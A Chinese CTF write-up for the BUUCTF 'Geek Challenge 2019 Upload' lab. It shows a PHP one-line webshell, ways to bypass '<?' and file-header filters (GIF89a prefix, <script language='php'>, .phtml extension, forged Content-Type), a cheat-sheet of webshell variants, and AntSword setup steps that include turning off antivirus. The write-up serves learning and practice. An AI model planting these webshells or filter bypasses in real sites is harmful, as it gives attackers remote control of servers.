当前位置: 首页 > news >正文

buuctf [极客大挑战 2019 Upload]

进入靶机,我们看到需要上传图片.

我们正常上传一张真的图片。

发现报错。

于是我们上传一句话木马,新建一个文本文档,里面写入:

<?php @eval($_POST['cmd']); ?>

在改文件后缀名,改成:1.jpg

翻译:不!黑客!你的文件包括了 ‘<?’

服务器拦截 <?,于是我们修改,将文件内容改为:

GIF89a?

<script language="php">eval($_REQUESTT[1]) </script>

文件名还是 1.jpg

上传成功,我们查看他的目录列表。

果然发现了我们上传上去的文件。

我们用蚁剑连接。

结果数据返回为空,说明服务器,没有把我们上传的文件“当成PHP来解析”。

我们需要修改一下文件后缀,经过尝试,我们用phtml,于是文件名改为:1.phtml

接下来我们连接 BP 来修改一下Content-TyPe里面的格式,改为:image/jpeg

改好后,放行。

上传成功,我们连接蚁剑

URL地址:靶机网址/upload/1,phtml (1.phtml 我们的文件名,不固定)

密码:1

连接测试成功后,我们找到根目录,发现 flag

打开这个文件,得到flag 值

1.为什么上传正常的图片要报错,又是怎么确定思路的:

因为服务器判断的依据是 exif-imagetype() 读取文件头。

它读到 GIF89a 就认为是 GIF,不管后面是什么。而我们传真的图片,文件头是 FF D8 FF(JPEG头)。

所以报错,这也是为什么我们想到用一句话木马来解决问题。

2.什么是一句话木马:

一句话木马是一段级短的PHP代码,作用是在服务器上开一个后门。

让你可以远程执行PHP代码,运行系统命令,读写文件,连数据库——相当于拿到了服务器的部分控制权。

3.怎么用运用一句话木马:

连接蚁剑,菜刀这类工具。

在工具里面输入木马文件的URL和密码,工具就会自动把你想执行的命令打包发送给木马,木马在服务器上执行,再把结果返回给你。

4.为什么一句话木马 <?php @eval($_POST['cmd']); ?> 长这样:

(1):<?php ...?> :php代码的标签,告诉服务器这是 PHP代码。

(2):@eval(...) :把括号里的字符串当作 PHP代码来执行。@用来屏蔽报错信息。

(3):$_POST[‘cmd’] :从 HTTP POST请求里获取参数 cmd 的值。

5.本题 <? 被拦截,为什么要把一句话木马改成

GIF89a?

<script language="php">eval($_REQUESTT[1]) </script>:

写法区别原因
@eval($_POST['cmd'])参数名 cmd连接时需要填的密码
eval($_REQUEST[1])参数名 1,无 @参数是数字 1,去掉了错误抑制符
<script><?被拦截,用<script>来绕过
因为要exif-imagetype() 读取文件头手动添加GIF89a

6.以后遇到这种情况,怎么写一句话木马:

情况怎么写
没有任何过滤<?php @eval($_POST['cmd']); ?>
检测<? <script language="php">@eval($_POST['cmd']);</script>
检测文件头开头加 GIF89a 或 FF D8 FF 等图片头
同时检测两者两者结合:GIF89a + <script language="php">@eval($_POST['cmd']);</script>

密码建议用 cmd 方便记忆和连接

一句话木马的核心:只要能让服务器执行你传来的任意代码,什么写法都行,不要让公式局限了你的才华。

7.怎么查看一个网址的目录列表:

方法:在URL后面加上文件夹名字 + /

比如:

http://靶机地址/uploads/

http://靶机地址/images/

http://靶机地址/static/

不一定都能打开,只有管理员忘记关掉目录浏览权限的才能看到。

8.为什么把文件后缀名jpg 改为 phtml:

核心原因:服务器没有把你的文件“当成PHP来解析”。

9.上传一个文件到服务器,会不会被当成PHP来解析,取决于一下两点:

(1)文件后缀名:(比如; .php , .phtml , .php3 等)是否在服务器的“PHP解析列表”里

(2)有没有配置文件(如 .user.ini 或 .hatccess)强制让某个后缀被解析成PHP

10.遇到这种改后缀名的,怎么办:

一个一个试

后缀说明
.php最常见
.phtml包含 PHP 代码的 HTML 文件
.php3、.php4、.php5旧版本 PHP 使用的后缀
.phps PHP源码文件
.pht另一种 PHP 文件

11.下载蚁剑(AntSword):

它需要两个部分配合才能工作:一个“核心程序”和一个“启动器”。这两个文件缺一不可。

第一步:下载两个文件
1. 启动器 (Loader):负责启动软件。

· 下载地址:https://github.com/AntSwordProject/AntSword-Loader/releases

· 选哪个:Windows系统通常选择 AntSword-Loader-v4.0.3-win32-x64.zip。如果电脑比较老,也可以试试 win32-ia32 版本。

2. 核心源码 (Source Code):这是蚁剑的“大脑”。

· 下载地址:https://github.com/AntSwordProject/AntSword

· 选哪个:点击页面上的 Code 按钮,然后选择 Download ZIP,把整个源码包下载下来。

第二步:安装与配置
1. 解压:

· 在你电脑的某个纯英文路径下(比如 D:\tools\),把刚才下载的 启动器压缩包 和 核心源码压缩包 都解压到当前文件夹。

2. 整理文件:

· 打开解压出来的启动器文件夹(名字大概是 AntSword-Loader-v4.0.3-win32-x64)。

· 将解压出来的核心源码文件夹(名字大概是 antSword-master)整个移动/拖拽到启动器文件夹里面。

· 完成后,启动器文件夹里应该有一个名为 antSword-master 的子文件夹。

3. 首次运行:

· 在启动器文件夹里,找到 AntSword.exe,双击运行。

· 如果是第一次使用,会弹出一个“初始化”窗口。点击“初始化”按钮,然后在弹出的文件夹选择框中,选中刚刚放进去的 antSword-master 这个文件夹,点击“选择文件夹”。

· 稍等片刻,界面会提示“初始化完成”,软件会自动重启。

第三步:启动与连接

重启后,蚁剑的主界面就出来了。如果系统提示缺少某些组件,让它自动下载安装即可。

12. 如何使用:

(1) 在蚁剑界面空白处右键,选择“添加数据”。

(2)URL地址:填写你上传的木马文件在服务器上的完整网址(例如:http://example.com/shell.phtml)。

(3)连接密码:填写你木马文件中设定的密码(例如 cmd)。

(4)点击“测试连接”,如果提示成功,就点“添加”。然后双击这条记录,就可以管理服务器的文件了。

❗ 重要提示(请务必注意)

1.先关杀毒软件:在解压和运行蚁剑前,请务必暂时关闭 Windows Defender 或其他杀毒软件,并把蚁剑所在的文件夹加入白名单。因为这类工具的行为特征和病毒很像,会被杀毒软件直接删除或拦截。

2.路径不要有中文:确保整个蚁剑的文件夹路径(比如 D:\tools\AntSword)没有任何中文字符或空格,否则可能无法正常启动。

3.使用蚁剑时,可能会出现报错提示。原因可能是网络问题,不要连校园网!!!

http://www.jsqmd.com/news/899643/

相关文章:

  • 【法律人AI提效革命】:ChatGPT起草合同/诉状/律师函的7大黄金准则与3类致命误用风险
  • 为Hermes Agent配置自定义模型供应商,接入Taotoken享受官方价折扣
  • 2026年亲测一键生成论文工具合集(高分定稿版)
  • 2026 江门办公室 / 写字楼 / 工装除甲醛推荐:本地服务商全攻略 + 避坑指南 - 环保除醛知识库
  • 飞腾/鲲鹏服务器上,openEuler 20.03 SP3离线安装Docker 20.10.23保姆级避坑指南
  • Window Resizer终极指南:免费工具轻松解决Windows窗口无法调整大小的难题
  • Msys2疑难杂症排查与优化实战指南
  • 第07篇|权限分层策略:相机、定位、生物认证、手势为什么分开申请
  • DevTrack:基于本地LLM的开发者工作流自动化工具设计与实践
  • 北邮联合研究团队:用画笔代替键盘,让AI读懂你脑海中的动作
  • 从化区搬家公司打包收费有明文标准吗?2026 防坑指南 - 从来都是英雄出少年
  • 小蜜蜂扩音不再啸叫,A59F 模组让老师讲课更轻松
  • 中国经济新闻网:易观、艾瑞两大权威研究机构一致认定,罗兰艺境DSS原则成GEO行业核心方法论 - 罗兰艺境GEO
  • 被封锁逼出的王炸?读懂华为“韬定律”,才明白什么叫真正的换道超车!
  • 极域电子教室UDP广播风暴与明文泄露实战治理指南
  • Unity 2022.3 LTS实战:用ShaderGraph + RenderTexture做个刮刮卡,5分钟搞定交互式UI特效
  • 上海靠谱的国际货代服务商怎么选?硕联国际16年资质验证清单 - 奔跑123
  • 使用Nodejs和Taotoken快速搭建一个AI对话机器人服务
  • MoveIt2实战解析:从架构革新到实时运动规划
  • 开源大模型实战:从DeepSeek看模型部署、微调与成本优化
  • 3小时构建ESP32智能小车:从零到自动避障的完整指南
  • 数据库一对多关系设计:外键、索引与JOIN实战指南
  • 2026公考培训机构服务测评排名 全程督学售后保障避坑指南 - 极欧测评
  • 2026 东莞新房 / 新装修除甲醛哪家好?本地服务商全攻略 + 避坑指南 - 环保除醛知识库
  • SkyClaw-v1.0 发布:国产百万上下文 Agent 模型,能不能替代 Claude Code?
  • 2026年潜水搅拌机/双曲面/桨式及曝气机/太阳能/微纳米/河道曝气机与水面垃圾收集器十大品牌推荐榜单:性能与口碑深度解析 - 品牌企业推荐师(官方)
  • Git Annotate 失效?深入剖析跨平台换行符(CRLF/LF)引发的Java文件版本追溯难题
  • 星露谷农场规划器:5个简单步骤打造完美游戏农场布局设计
  • 【ChatGPT健身计划制定权威指南】:20年运动科学+AI工程双背景专家亲授,7天生成个性化、可执行、防受伤的AI健身方案
  • 网盘下载神器LinkSwift:一站式解决九大网盘下载难题的完整指南